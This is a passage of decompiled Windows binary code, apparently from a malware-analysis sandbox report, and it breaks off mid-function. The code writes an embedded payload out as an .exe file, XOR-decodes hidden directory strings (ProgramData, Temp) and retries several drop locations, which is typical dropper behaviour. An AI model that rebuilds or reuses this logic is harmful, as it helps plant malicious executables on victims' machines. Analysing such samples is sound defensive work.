				struct _SECURITY_ATTRIBUTES* _t1329;
				void* _t1341;
				char* _t1342;
				intOrPtr _t1346;
				intOrPtr _t1349;
				struct _SECURITY_ATTRIBUTES* _t1353;
				struct _SECURITY_ATTRIBUTES* _t1357;
				char _t1362;
				intOrPtr _t1363;
				struct _SECURITY_ATTRIBUTES* _t1368;
				signed int _t1372;
				intOrPtr _t1374;
				intOrPtr _t1380;
				intOrPtr _t1385;
				intOrPtr _t1389;
				char _t1394;
				void* _t1397;
				void* _t1399;
				void* _t1404;
				char* _t1408;
				long _t1411;
				intOrPtr* _t1415;
				struct _SECURITY_ATTRIBUTES* _t1418;
				void* _t1423;
				intOrPtr* _t1424;
				struct _SECURITY_ATTRIBUTES* _t1427;
				void* _t1432;
				signed char* _t1433;
				struct _SECURITY_ATTRIBUTES* _t1436;
				void* _t1441;
				char* _t1453;
				long _t1504;
				signed int _t1523;
				struct _SECURITY_ATTRIBUTES* _t1526;
				struct _SECURITY_ATTRIBUTES* _t1527;
				char _t1528;
				char* _t1533;
				intOrPtr _t1534;
				char _t1535;
				char _t1536;
				struct _SECURITY_ATTRIBUTES* _t1537;
				char _t1538;
				struct _SECURITY_ATTRIBUTES* _t1539;
				struct _SECURITY_ATTRIBUTES* _t1540;
				char _t1541;
				char* _t1545;
				char _t1546;
				char _t1547;
				struct _SECURITY_ATTRIBUTES* _t1548;
				char _t1549;
				struct _SECURITY_ATTRIBUTES* _t1550;
				struct _SECURITY_ATTRIBUTES* _t1551;
				char _t1552;
				intOrPtr* _t1553;
				signed int _t1554;
				char* _t1558;
				void* _t1564;
				intOrPtr* _t1565;
				struct _SECURITY_ATTRIBUTES* _t1568;
				void* _t1573;
				intOrPtr* _t1574;
				struct _SECURITY_ATTRIBUTES* _t1577;
				void* _t1582;
				signed char* _t1583;
				struct _SECURITY_ATTRIBUTES* _t1586;
				void* _t1591;
				char _t1592;
				char _t1593;
				char* _t1597;
				char _t1598;
				char _t1599;
				struct _SECURITY_ATTRIBUTES* _t1600;
				char _t1601;
				struct _SECURITY_ATTRIBUTES* _t1602;
				struct _SECURITY_ATTRIBUTES* _t1603;
				char _t1604;
				char* _t1609;
				char _t1610;
				struct _SECURITY_ATTRIBUTES* _t1611;
				intOrPtr _t1612;
				struct _SECURITY_ATTRIBUTES* _t1613;
				struct _SECURITY_ATTRIBUTES* _t1614;
				intOrPtr _t1615;
				char* _t1619;
				char _t1620;
				struct _SECURITY_ATTRIBUTES* _t1621;
				struct _SECURITY_ATTRIBUTES* _t1622;
				struct _SECURITY_ATTRIBUTES* _t1623;
				struct _SECURITY_ATTRIBUTES* _t1624;
				struct _SECURITY_ATTRIBUTES* _t1625;
				char* _t1629;
				intOrPtr _t1630;
				struct _SECURITY_ATTRIBUTES* _t1631;
				struct _SECURITY_ATTRIBUTES* _t1632;
				intOrPtr _t1633;
				struct _SECURITY_ATTRIBUTES* _t1634;
				intOrPtr* _t1635;
				intOrPtr _t1637;
				intOrPtr _t1638;
				intOrPtr _t1639;
				intOrPtr _t1640;
				struct _SECURITY_ATTRIBUTES* _t1643;
				long _t1644;
				long _t1645;
				long _t1646;
				long _t1647;
				intOrPtr _t1648;
				char* _t1649;
				void* _t1652;
				struct _SECURITY_ATTRIBUTES* _t1653;
				long _t1655;
				struct _SECURITY_ATTRIBUTES* _t1656;
				struct _SECURITY_ATTRIBUTES* _t1657;
				void* _t1658;
				struct _SECURITY_ATTRIBUTES* _t1659;
				long _t1661;
				struct _SECURITY_ATTRIBUTES* _t1662;
				struct _SECURITY_ATTRIBUTES* _t1663;
				signed char* _t1664;
				struct _SECURITY_ATTRIBUTES* _t1665;
				long _t1667;
				struct _SECURITY_ATTRIBUTES* _t1668;
				struct _SECURITY_ATTRIBUTES* _t1672;
				DWORD* _t1687;
				void* _t1688;
				struct _SECURITY_ATTRIBUTES* _t1691;
				long _t1692;
				struct _SECURITY_ATTRIBUTES* _t1693;
				long _t1694;
				long _t1695;
				void* _t1696;
				void* _t1697;
				DWORD* _t1698;
				void* _t1699;
				DWORD* _t1700;
				void* _t1701;
				struct _SECURITY_ATTRIBUTES* _t1704;
				long _t1705;
				struct _SECURITY_ATTRIBUTES* _t1706;
				long _t1707;
				long _t1708;
				void* _t1709;
				void* _t1710;
				DWORD* _t1711;
				void* _t1712;
				DWORD* _t1713;
				void* _t1714;
				intOrPtr* _t1715;
				struct _SECURITY_ATTRIBUTES* _t1720;
				long _t1721;
				void* _t1722;
				signed char _t1723;
				struct _SECURITY_ATTRIBUTES* _t1725;
				struct _SECURITY_ATTRIBUTES* _t1726;
				signed char _t1727;
				void* _t1728;
				struct _SECURITY_ATTRIBUTES* _t1729;
				long _t1731;
				struct _SECURITY_ATTRIBUTES* _t1732;
				struct _SECURITY_ATTRIBUTES* _t1733;
				signed char* _t1734;
				struct _SECURITY_ATTRIBUTES* _t1735;
				long _t1737;
				struct _SECURITY_ATTRIBUTES* _t1738;
				struct _SECURITY_ATTRIBUTES* _t1739;
				long _t1740;
				void* _t1741;
				struct _SECURITY_ATTRIBUTES* _t1744;
				long _t1745;
				struct _SECURITY_ATTRIBUTES* _t1746;
				long _t1747;
				long _t1748;
				void* _t1749;
				void* _t1750;
				DWORD* _t1751;
				void* _t1752;
				DWORD* _t1753;
				void* _t1754;
				struct _SECURITY_ATTRIBUTES* _t1757;
				long _t1758;
				struct _SECURITY_ATTRIBUTES* _t1759;
				long _t1760;
				long _t1761;
				void* _t1762;
				DWORD* _t1763;
				void* _t1764;
				DWORD* _t1765;
				void* _t1766;
				struct _SECURITY_ATTRIBUTES* _t1769;
				struct _SECURITY_ATTRIBUTES* _t1770;
				struct _SECURITY_ATTRIBUTES* _t1771;
				long _t1772;
				long _t1773;
				void* _t1774;
				DWORD* _t1775;
				DWORD* _t1776;
				DWORD* _t1777;
				DWORD* _t1778;
				struct _SECURITY_ATTRIBUTES* _t1781;
				struct _SECURITY_ATTRIBUTES* _t1782;
				struct _SECURITY_ATTRIBUTES* _t1783;
				long _t1784;
				long _t1785;
				void* _t1786;
				DWORD* _t1787;
				DWORD* _t1788;
				DWORD* _t1789;
				void* _t1790;
				char* _t1791;
				void* _t1792;
				void* _t1793;
				void* _t1794;
				void* _t1795;
				long _t1796;
				void* _t1797;
				void* _t1799;
				long _t1800;
				long _t1802;
				void* _t1803;
				signed int _t1805;
				signed int _t1811;
				signed int _t1814;
				signed int _t1816;
				signed int _t1817;
				void* _t1819;
				signed int _t1822;
				void* _t1823;
				void* _t1824;
				signed int _t1830;
				void* _t1831;
				void* _t1832;
				signed char _t1833;
				void* _t1834;
				void* _t1835;
				void* _t1836;
				signed char _t1837;
				void* _t1838;
				void* _t1839;
				signed int _t1840;
				signed char _t1841;
				void* _t1842;
				void* _t1843;
				void* _t1848;
				void* _t1854;
				void* _t1855;
				signed int _t1856;
				void* _t1862;
				char _t1871;
				void* _t1872;
				void* _t1873;
				signed char _t1874;
				void* _t1875;
				void* _t1876;
				signed char _t1877;
				void* _t1878;
				void* _t1879;
				signed char _t1880;
				void* _t1881;

				_t1799 = __esi;
				_t1795 = __edi;
				_t1404 = __ecx;
				_push(__ebx);
				_t1397 = _t1819;
				_t1822 = (_t1819 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t1397 + 4));
				_t1811 = _t1822;
				_push(0xffffffff);
				_push(0x42cb1b);
				_push( *[fs:0x0]);
				_push(_t1397);
				_t1823 = _t1822 - 0x54;
				_push(__esi);
				_t847 =  *0x43d054; // 0xd71f2cec
				_push(_t847 ^ _t1811);
				 *[fs:0x0] =  &_v24;
				_v16 = 1;
				_t851 =  >=  ?  *((void*)(_t1397 + 8)) : _t1397 + 8;
				_t852 = CreateDirectoryA( >=  ?  *((void*)(_t1397 + 8)) : _t1397 + 8, 0); // executed
				if(_t852 != 0 || GetLastError() == 0xb7) {
					_push(_t1404);
					_t853 = E0040CB20( &_v108, _t1397 + 8);
					_v16 = 2;
					_t854 = E0040CD40( &_v84, _t853, _t1397 + 0x20);
					_t1824 = _t1823 + 8;
					_t1408 = _t854;
					_v16 = 3;
					_t1800 =  *(_t1408 + 0x14);
					_t1643 =  *(_t1408 + 0x10);
					if(_t1800 - _t1643 < 4) {
						_v33 = 0;
						_t1408 = E00402980(_t1397, _t1408, _t1795, _t1800, 4, _v33, ".exe", 4);
					} else {
						 *(_t1408 + 0x10) =  &(_t1643->lpSecurityDescriptor);
						_t1394 = _t1408;
						if(_t1800 >= 0x10) {
							_t1394 =  *_t1408;
						}
						 *((intOrPtr*)(_t1394 + _t1643)) = 0x6578652e;
						 *((char*)(_t1394 +  &(_t1643->lpSecurityDescriptor))) = 0;
					}
					asm("movups xmm0, [ecx]");
					asm("movups [ebp-0x30], xmm0");
					asm("movq xmm0, [ecx+0x10]");
					asm("movq [ebp-0x20], xmm0");
					 *(_t1408 + 0x10) = 0;
					 *(_t1408 + 0x14) = 0xf;
					 *_t1408 = 0;
					_t859 =  >=  ? _v60 :  &_v60;
					_t860 = E0041410D( >=  ? _v60 :  &_v60, "wb"); // executed
					_t1644 = _v40;
					_t1823 = _t1824 + 8;
					_t1799 = _t860;
					if(_t1644 < 0x10) {
						L11:
						_t1645 = _v64;
						_v44 = 0;
						_v40 = 0xf;
						_v60 = 0;
						if(_t1645 < 0x10) {
							L15:
							_t1646 = _v88;
							_v68 = 0;
							_v64 = 0xf;
							_v84 = 0;
							if(_t1646 < 0x10) {
								L19:
								_v92 = 0;
								_v88 = 0xf;
								_v108 = 0;
								_t1905 = _t1799;
								if(_t1799 == 0) {
									goto L21;
								} else {
									E004189BB(_t1397, _t1795, _t1799, 0x43daa0, 1, 0x12000, _t1799); // executed
									_push(_t1799);
									E0041432D(_t1397, _t1795, _t1799, _t1905);
									_t1823 = _t1823 + 0x14;
									_v29 = 1;
								}
								goto L22;
							} else {
								_t1638 = _v108;
								_t1792 = _t1646 + 1;
								_t1380 = _t1638;
								if(_t1792 < 0x1000) {
									L18:
									_push(_t1792);
									E0040F1B0(_t1638);
									_t1823 = _t1823 + 8;
									goto L19;
								} else {
									_t1411 =  *(_t1638 - 4);
									_t1649 = _t1792 + 0x23;
									if(_t1380 - _t1411 + 0xfffffffc > 0x1f) {
										goto L31;
									} else {
										goto L18;
									}
								}
							}
						} else {
							_t1639 = _v84;
							_t1793 = _t1645 + 1;
							_t1385 = _t1639;
							if(_t1793 < 0x1000) {
								L14:
								_push(_t1793);
								E0040F1B0(_t1639);
								_t1823 = _t1823 + 8;
								goto L15;
							} else {
								_t1411 =  *(_t1639 - 4);
								_t1649 = _t1793 + 0x23;
								if(_t1385 - _t1411 + 0xfffffffc > 0x1f) {
									goto L31;
								} else {
									goto L14;
								}
							}
						}
					} else {
						_t1640 = _v60;
						_t1794 = _t1644 + 1;
						_t1389 = _t1640;
						if(_t1794 < 0x1000) {
							L10:
							_push(_t1794);
							E0040F1B0(_t1640);
							_t1823 = _t1823 + 8;
							goto L11;
						} else {
							_t1411 =  *(_t1640 - 4);
							_t1649 = _t1794 + 0x23;
							if(_t1389 - _t1411 + 0xfffffffc > 0x1f) {
								L31:
								E004138D7(_t1397, _t1649, __eflags);
								goto L32;
							} else {
								goto L10;
							}
						}
					}
				} else {
					L21:
					_v29 = 0;
					L22:
					_t1647 =  *(_t1397 + 0x1c);
					if(_t1647 < 0x10) {
						L26:
						_t1648 =  *((intOrPtr*)(_t1397 + 0x34));
						 *(_t1397 + 0x18) = 0;
						 *(_t1397 + 0x1c) = 0xf;
						 *((char*)(_t1397 + 8)) = 0;
						if(_t1648 < 0x10) {
							L30:
							 *[fs:0x0] = _v24;
							return _v29;
						} else {
							_t1411 =  *(_t1397 + 0x20);
							_t1649 = _t1648 + 1;
							_t862 = _t1411;
							if(_t1649 < 0x1000) {
								L29:
								_push(_t1649);
								E0040F1B0(_t1411);
								goto L30;
							} else {
								_t1411 =  *(_t1411 - 4);
								_t1649 =  &(_t1649[0x23]);
								if(_t862 - _t1411 + 0xfffffffc > 0x1f) {
									goto L32;
								} else {
									goto L29;
								}
							}
						}
					} else {
						_t1637 =  *((intOrPtr*)(_t1397 + 8));
						_t1791 =  &(1[_t1647]);
						_t1374 = _t1637;
						if(_t1791 < 0x1000) {
							L25:
							_push(_t1791);
							E0040F1B0(_t1637);
							_t1823 = _t1823 + 8;
							goto L26;
						} else {
							_t50 = _t1637 - 4; // 0xffffe6c2
							_t1411 =  *_t50;
							_t1649 =  &(_t1791[0x23]);
							if(_t1374 - _t1411 + 0xfffffffc > 0x1f) {
								L32:
								E004138D7(_t1397, _t1649, __eflags);
								asm("int3");
								asm("int3");
								_push(_t1397);
								_t1399 = _t1823;
								_t1830 = (_t1823 - 0x00000008 & 0xfffffff8) + 4;
								_push(_t1811);
								_v128 =  *((intOrPtr*)(_t1399 + 4));
								_t1814 = _t1830;
								_push(0xffffffff);
								_push(0x42ccf2);
								_push( *[fs:0x0]);
								_push(_t1399);
								_t1831 = _t1830 - 0x1c0;
								_t868 =  *0x43d054; // 0xd71f2cec
								_t869 = _t868 ^ _t1814;
								_v152 = _t869;
								_push(_t1799);
								_push(_t1795);
								_push(_t869);
								 *[fs:0x0] =  &_v144;
								_t1802 = _t1411;
								_v520 = _t1802;
								_v520 = _t1802;
								_v516 = 0;
								_v500 = 0;
								_v496 = 0xf;
								_v516 = 0;
								_v136 = 0;
								_t871 = E004065E0(_t1802); // executed
								__eflags = _t871;
								if(_t871 != 0) {
									E00406760(_t1399,  &_v360, _t1795);
									_v28 = 0x16;
									_t873 = E004181A9( &_v360, __eflags);
									asm("cdq");
									E004055C0( &_v384, _t873 % 0xa + 5);
									_v28 = 0x17;
									_v413 = 0x2e;
									_t1796 =  *( *[fs:0x2c]);
									_t877 =  *0x450f54; // 0x0
									__eflags = _t877 -  *((intOrPtr*)(_t1796 + 4));
									if(_t877 >  *((intOrPtr*)(_t1796 + 4))) {
										E0040F2F9(_t877, 0x450f54);
										_t1831 = _t1831 + 4;
										__eflags =  *0x450f54 - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439d90]");
											asm("movups [0x450eb0], xmm0");
											 *0x450ec0 = _v413;
											E0040F60B( &_v384, __eflags, 0x42d430);
											E0040F2AF(0x450f54);
											_t1831 = _t1831 + 8;
										}
									}
									_t878 =  *0x450ec0; // 0x0
									__eflags = _t878;
									if(_t878 != 0) {
										asm("movups xmm0, [0x450eb0]");
										asm("movaps xmm1, [0x439d30]");
										asm("pxor xmm1, xmm0");
										 *0x450ec0 = _t878 ^ 0x0000002e;
										asm("movups [0x450eb0], xmm1");
									}
									_t1415 = 0x450eb0;
									_v464 = 0;
									_v448 = 0;
									_v444 = 0xf;
									_v464 = 0;
									_t466 = _t1415 + 1; // 0x450eb1
									_t1652 = _t466;
									do {
										_t879 =  *_t1415;
										_t1415 = _t1415 + 1;
										__eflags = _t879;
									} while (_t879 != 0);
									E004026B0(_t1399,  &_v464, 0x450eb0, _t1415 - _t1652);
									_v28 = 0x18;
									_t1653 = _v444;
									_t1418 = _v448;
									__eflags = _t1653 - _t1418 - 1;
									if(_t1653 - _t1418 < 1) {
										_v412 = 0;
										_t883 = E00402980(_t1399,  &_v464, _t1796, _t1802, 1, _v412, "\\", 1);
									} else {
										_t471 = _t1418 + 1; // 0x1
										__eflags = _t1653 - 0x10;
										_v448 = _t471;
										_t1137 =  >=  ? _v464 :  &_v464;
										 *((short*)(( >=  ? _v464 :  &_v464) + _t1418)) = 0x5c;
										_t883 =  &_v464;
									}
									_v440 = 0;
									_v424 = 0;
									_v420 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x1a0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x190], xmm0");
									 *(_t883 + 0x10) = 0;
									 *(_t883 + 0x14) = 0xf;
									 *_t883 = 0;
									_v28 = 0x19;
									_t885 = E0040CD40( &_v488,  &_v440,  &_v360);
									_t1832 = _t1831 + 4;
									E00402490(_t1399,  &_v408, _t885);
									_t1655 = _v468;
									__eflags = _t1655 - 0x10;
									if(_t1655 < 0x10) {
										L231:
										_v28 = 0x18;
										_t1656 = _v420;
										_v472 = 0;
										_v468 = 0xf;
										_v488 = 0;
										__eflags = _t1656 - 0x10;
										if(_t1656 < 0x10) {
											L235:
											_v28 = 0x17;
											_t1657 = _v444;
											_v424 = 0;
											_v420 = 0xf;
											_v440 = 0;
											__eflags = _t1657 - 0x10;
											if(_t1657 < 0x10) {
												L239:
												_t1833 = _t1832 - 0x18;
												_v316 = _t1833;
												E0040BF40(_t1399, _t1833, _t1657, _t1796,  &_v384);
												_t1834 = _t1833 - 0x18;
												_v28 = 0x1a;
												_t1423 = _t1834;
												E0040BF40(_t1399, _t1423, _t1657, _t1796,  &_v408);
												_v28 = 0x17;
												_t891 = E00406800(_t1399, _t1423, _t1796, _t1802);
												_t1835 = _t1834 + 0x30;
												__eflags = _t891;
												if(_t891 == 0) {
													_t892 =  *0x450fc8; // 0x0
													_v328 = 0x7e72146d;
													_v324 = 0x5c49415c;
													_v320 = 0x4f6a434f;
													_v316 = 0x4f5a;
													_v413 = 0x2e;
													__eflags = _t892 -  *((intOrPtr*)(_t1796 + 4));
													if(_t892 >  *((intOrPtr*)(_t1796 + 4))) {
														E0040F2F9(_t892, 0x450fc8);
														_t1835 = _t1835 + 4;
														__eflags =  *0x450fc8 - 0xffffffff;
														if(__eflags == 0) {
															asm("movq xmm0, [ebp-0x130]");
															 *0x450d8c = _v320;
															 *0x450d90 = _v316;
															asm("movq [0x450d84], xmm0");
															 *0x450d92 = _v413;
															E0040F60B(_t1423, __eflags, 0x42d400);
															E0040F2AF(0x450fc8);
															_t1835 = _t1835 + 8;
														}
													}
													__eflags =  *0x450d92;
													if( *0x450d92 != 0) {
														_t1093 = 0;
														__eflags = 0;
														do {
															 *(_t1093 + 0x450d84) =  *(_t1093 + 0x450d84) ^ 0x0000002e;
															_t1093 = _t1093 + 1;
															__eflags = _t1093 - 0xf;
														} while (_t1093 < 0xf);
													}
													_t1424 = 0x450d84;
													_v464 = 0;
													_v448 = 0;
													_v444 = 0xf;
													_v464 = 0;
													_t570 = _t1424 + 1; // 0x450d85
													_t1658 = _t570;
													asm("o16 nop [eax+eax]");
													do {
														_t893 =  *_t1424;
														_t1424 = _t1424 + 1;
														__eflags = _t893;
													} while (_t893 != 0);
													E004026B0(_t1399,  &_v464, 0x450d84, _t1424 - _t1658);
													_v28 = 0x1d;
													_t1659 = _v444;
													_t1427 = _v448;
													__eflags = _t1659 - _t1427 - 1;
													if(_t1659 - _t1427 < 1) {
														_v412 = 0;
														_t897 = E00402980(_t1399,  &_v464, _t1796, _t1802, 1, _v412, "\\", 1);
													} else {
														_t575 = _t1427 + 1; // 0x1
														__eflags = _t1659 - 0x10;
														_v448 = _t575;
														_t1092 =  >=  ? _v464 :  &_v464;
														 *((short*)(( >=  ? _v464 :  &_v464) + _t1427)) = 0x5c;
														_t897 =  &_v464;
													}
													_v440 = 0;
													_v424 = 0;
													_v420 = 0;
													asm("movups xmm0, [eax]");
													asm("movups [ebp-0x1a0], xmm0");
													asm("movq xmm0, [eax+0x10]");
													asm("movq [ebp-0x190], xmm0");
													 *(_t897 + 0x10) = 0;
													 *(_t897 + 0x14) = 0xf;
													 *_t897 = 0;
													_v28 = 0x1e;
													_t899 = E0040CD40( &_v488,  &_v440,  &_v360);
													_t1836 = _t1835 + 4;
													E00402490(_t1399,  &_v408, _t899);
													_t1661 = _v468;
													__eflags = _t1661 - 0x10;
													if(_t1661 < 0x10) {
														L277:
														_v28 = 0x1d;
														_t1662 = _v420;
														_v472 = 0;
														_v468 = 0xf;
														_v488 = 0;
														__eflags = _t1662 - 0x10;
														if(_t1662 < 0x10) {
															L281:
															_v28 = 0x17;
															_t1663 = _v444;
															_v424 = 0;
															_v420 = 0xf;
															_v440 = 0;
															__eflags = _t1663 - 0x10;
															if(_t1663 < 0x10) {
																L285:
																_t1837 = _t1836 - 0x18;
																_v316 = _t1837;
																E0040BF40(_t1399, _t1837, _t1663, _t1796,  &_v384);
																_t1838 = _t1837 - 0x18;
																_v28 = 0x1f;
																_t1432 = _t1838;
																E0040BF40(_t1399, _t1432, _t1663, _t1796,  &_v408);
																_v28 = 0x17;
																_t905 = E00406800(_t1399, _t1432, _t1796, _t1802);
																_t1839 = _t1838 + 0x30;
																__eflags = _t905;
																if(_t905 == 0) {
																	_t906 =  *0x450df0; // 0x0
																	_v320 = 0x7a72146d;
																	_v316 = 0x2e5e434b;
																	__eflags = _t906 -  *((intOrPtr*)(_t1796 + 4));
																	if(_t906 >  *((intOrPtr*)(_t1796 + 4))) {
																		E0040F2F9(_t906, 0x450df0);
																		_t1839 = _t1839 + 4;
																		__eflags =  *0x450df0 - 0xffffffff;
																		if(__eflags == 0) {
																			 *0x450da4 = _v320;
																			 *0x450da8 = _v316;
																			E0040F60B(_v316, __eflags, 0x42d3f0);
																			E0040F2AF(0x450df0);
																			_t1839 = _t1839 + 8;
																		}
																	}
																	_t907 =  *0x450dab; // 0x0
																	__eflags = _t907;
																	if(_t907 != 0) {
																		 *0x450da4 =  *0x450da4 ^ 0x0000002e;
																		 *0x450da5 =  *0x450da5 ^ 0x0000002e;
																		 *0x450da6 =  *0x450da6 ^ 0x0000002e;
																		 *0x450da7 =  *0x450da7 ^ 0x0000002e;
																		 *0x450da8 =  *0x450da8 ^ 0x0000002e;
																		 *0x450da9 =  *0x450da9 ^ 0x0000002e;
																		 *0x450daa =  *0x450daa ^ 0x0000002e;
																		_t1046 = _t907 ^ 0x0000002e;
																		__eflags = _t1046;
																		 *0x450dab = _t1046;
																	}
																	_t1433 = 0x450da4;
																	_v464 = 0;
																	_v448 = 0;
																	_v444 = 0xf;
																	_v464 = 0;
																	_t668 =  &(_t1433[1]); // 0x450da5
																	_t1664 = _t668;
																	do {
																		_t908 =  *_t1433;
																		_t1433 =  &(_t1433[1]);
																		__eflags = _t908;
																	} while (_t908 != 0);
																	E004026B0(_t1399,  &_v464, 0x450da4, _t1433 - _t1664);
																	_v28 = 0x22;
																	_t1665 = _v444;
																	_t1436 = _v448;
																	__eflags = _t1665 - _t1436 - 1;
																	if(_t1665 - _t1436 < 1) {
																		_v412 = 0;
																		_t912 = E00402980(_t1399,  &_v464, _t1796, _t1802, 1, _v412, "\\", 1);
																	} else {
																		_t673 = _t1436 + 1; // 0x1
																		__eflags = _t1665 - 0x10;
																		_v448 = _t673;
																		_t1045 =  >=  ? _v464 :  &_v464;
																		 *((short*)(( >=  ? _v464 :  &_v464) + _t1436)) = 0x5c;
																		_t912 =  &_v464;
																	}
																	_v440 = 0;
																	_v424 = 0;
																	_v420 = 0;
																	asm("movups xmm0, [eax]");
																	asm("movups [ebp-0x1a0], xmm0");
																	asm("movq xmm0, [eax+0x10]");
																	asm("movq [ebp-0x190], xmm0");
																	 *(_t912 + 0x10) = 0;
																	 *(_t912 + 0x14) = 0xf;
																	 *_t912 = 0;
																	_v28 = 0x23;
																	_t914 = E0040CD40( &_v488,  &_v440,  &_v360);
																	_t1840 = _t1839 + 4;
																	E00402490(_t1399,  &_v408, _t914);
																	_t1667 = _v468;
																	__eflags = _t1667 - 0x10;
																	if(_t1667 < 0x10) {
																		L322:
																		_v28 = 0x22;
																		_t1668 = _v420;
																		_v472 = 0;
																		_v468 = 0xf;
																		_v488 = 0;
																		__eflags = _t1668 - 0x10;
																		if(_t1668 < 0x10) {
																			L326:
																			_v28 = 0x17;
																			_t1669 = _v444;
																			_v424 = 0;
																			_v420 = 0xf;
																			_v440 = 0;
																			__eflags = _t1669 - 0x10;
																			if(_t1669 < 0x10) {
																				L330:
																				_t1841 = _t1840 - 0x18;
																				_v316 = _t1841;
																				E0040BF40(_t1399, _t1841, _t1669, _t1796,  &_v384);
																				_t1842 = _t1841 - 0x18;
																				_v28 = 0x24;
																				_t1441 = _t1842;
																				E0040BF40(_t1399, _t1441, _t1669, _t1796,  &_v408);
																				_v28 = 0x17;
																				_t920 = E00406800(_t1399, _t1441, _t1796, _t1802);
																				_t1843 = _t1842 + 0x30;
																				__eflags = _t920;
																				if(_t920 == 0) {
																					E00402440(_t1399,  &_v384);
																					_v28 = 0;
																					E00402440(_t1399,  &_v360);
																					goto L342;
																				} else {
																					_push(_t1441);
																					_t927 = E0040CB20( &_v440,  &_v408);
																					_v28 = 0x25;
																					_t928 = E0040CD40( &_v488, _t927,  &_v384);
																					_t1840 = _t1843 + 8;
																					_t1453 = _t928;
																					_v28 = 0x26;
																					_t1796 =  *(_t1453 + 0x14);
																					_t1672 =  *(_t1453 + 0x10);
																					__eflags = _t1796 - _t1672 - 4;
																					if(_t1796 - _t1672 < 4) {
																						_v412 = 0;
																						_t1453 = E00402980(_t1399, _t1453, _t1796, _t1802, 4, _v412, ".exe", 4);
																					} else {
																						 *(_t1453 + 0x10) =  &(_t1672->lpSecurityDescriptor);
																						_t1030 = _t1453;
																						__eflags = _t1796 - 0x10;
																						if(_t1796 >= 0x10) {
																							_t1030 =  *_t1453;
																						}
																						 *((intOrPtr*)(_t1030 + _t1672)) = 0x6578652e;
																						 *((char*)(_t1030 +  &(_t1672->lpSecurityDescriptor))) = 0;
																					}
																					 *_t1802 = 0;
																					 *(_t1802 + 0x10) = 0;
																					 *(_t1802 + 0x14) = 0;
																					asm("movups xmm0, [ecx]");
																					asm("movups [esi], xmm0");
																					asm("movq xmm0, [ecx+0x10]");
																					asm("movq [esi+0x10], xmm0");
																					 *(_t1453 + 0x10) = 0;
																					 *(_t1453 + 0x14) = 0xf;
																					 *_t1453 = 0;
																					_t1669 = _v468;
																					__eflags = _t1669 - 0x10;
																					if(_t1669 < 0x10) {
																						L340:
																						_v472 = 0;
																						_v468 = 0xf;
																						_v488 = 0;
																						E00402440(_t1399,  &_v440);
																						E00402440(_t1399,  &_v384);
																						E00402440(_t1399,  &_v360);
																						goto L343;
																					} else {
																						_t1457 = _v488;
																						_t1669 =  &(1[_t1669]);
																						_t935 = _t1457;
																						__eflags = _t1669 - 0x1000;
																						if(_t1669 < 0x1000) {
																							L339:
																							_push(_t1669);
																							E0040F1B0(_t1457);
																							goto L340;
																						} else {
																							_t1457 =  *((intOrPtr*)(_t1457 - 4));
																							_t1669 = _t1669 + 0x23;
																							__eflags = _t935 - _t1457 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L339;
																							}
																						}
																					}
																				}
																			} else {
																				_t1526 = _v464;
																				_t1669 =  &(1[_t1669]);
																				_t1031 = _t1526;
																				__eflags = _t1669 - 0x1000;
																				if(_t1669 < 0x1000) {
																					L329:
																					_push(_t1669);
																					E0040F1B0(_t1526);
																					_t1840 = _t1840 + 8;
																					goto L330;
																				} else {
																					_t1457 =  *((intOrPtr*)(_t1526 - 4));
																					_t1669 = _t1669 + 0x23;
																					__eflags = _t1031 -  *((intOrPtr*)(_t1526 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L329;
																					}
																				}
																			}
																		} else {
																			_t1527 = _v440;
																			_t1687 =  &(_t1668->nLength);
																			_t1035 = _t1527;
																			__eflags = _t1687 - 0x1000;
																			if(_t1687 < 0x1000) {
																				L325:
																				_push(_t1687);
																				E0040F1B0(_t1527);
																				_t1840 = _t1840 + 8;
																				goto L326;
																			} else {
																				_t1457 =  *((intOrPtr*)(_t1527 - 4));
																				_t1669 = _t1687 + 0x23;
																				__eflags = _t1035 -  *((intOrPtr*)(_t1527 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L325;
																				}
																			}
																		}
																	} else {
																		_t1528 = _v488;
																		_t1688 = _t1667 + 1;
																		_t1039 = _t1528;
																		__eflags = _t1688 - 0x1000;
																		if(_t1688 < 0x1000) {
																			L321:
																			_push(_t1688);
																			E0040F1B0(_t1528);
																			_t1840 = _t1840 + 8;
																			goto L322;
																		} else {
																			_t1457 =  *((intOrPtr*)(_t1528 - 4));
																			_t1669 = _t1688 + 0x23;
																			__eflags = _t1039 -  *((intOrPtr*)(_t1528 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L321;
																			}
																		}
																	}
																} else {
																	_push(_t1432);
																	_t1051 = E0040CB20( &_v440,  &_v408);
																	_v28 = 0x20;
																	_t1052 = E0040CD40( &_v488, _t1051,  &_v384);
																	_t1840 = _t1839 + 8;
																	_t1533 = _t1052;
																	_v28 = 0x21;
																	_t1796 =  *(_t1533 + 0x14);
																	_t1691 =  *(_t1533 + 0x10);
																	__eflags = _t1796 - _t1691 - 4;
																	if(_t1796 - _t1691 < 4) {
																		_v412 = 0;
																		_t1533 = E00402980(_t1399, _t1533, _t1796, _t1802, 4, _v412, ".exe", 4);
																	} else {
																		 *(_t1533 + 0x10) =  &(_t1691->lpSecurityDescriptor);
																		_t1077 = _t1533;
																		__eflags = _t1796 - 0x10;
																		if(_t1796 >= 0x10) {
																			_t1077 =  *_t1533;
																		}
																		 *((intOrPtr*)(_t1077 + _t1691)) = 0x6578652e;
																		 *((char*)(_t1077 +  &(_t1691->lpSecurityDescriptor))) = 0;
																	}
																	 *_t1802 = 0;
																	 *(_t1802 + 0x10) = 0;
																	 *(_t1802 + 0x14) = 0;
																	asm("movups xmm0, [ecx]");
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ecx+0x10]");
																	asm("movq [esi+0x10], xmm0");
																	 *(_t1533 + 0x10) = 0;
																	 *(_t1533 + 0x14) = 0xf;
																	 *_t1533 = 0;
																	_t1692 = _v468;
																	__eflags = _t1692 - 0x10;
																	if(_t1692 < 0x10) {
																		L295:
																		_t1693 = _v420;
																		_v472 = 0;
																		_v468 = 0xf;
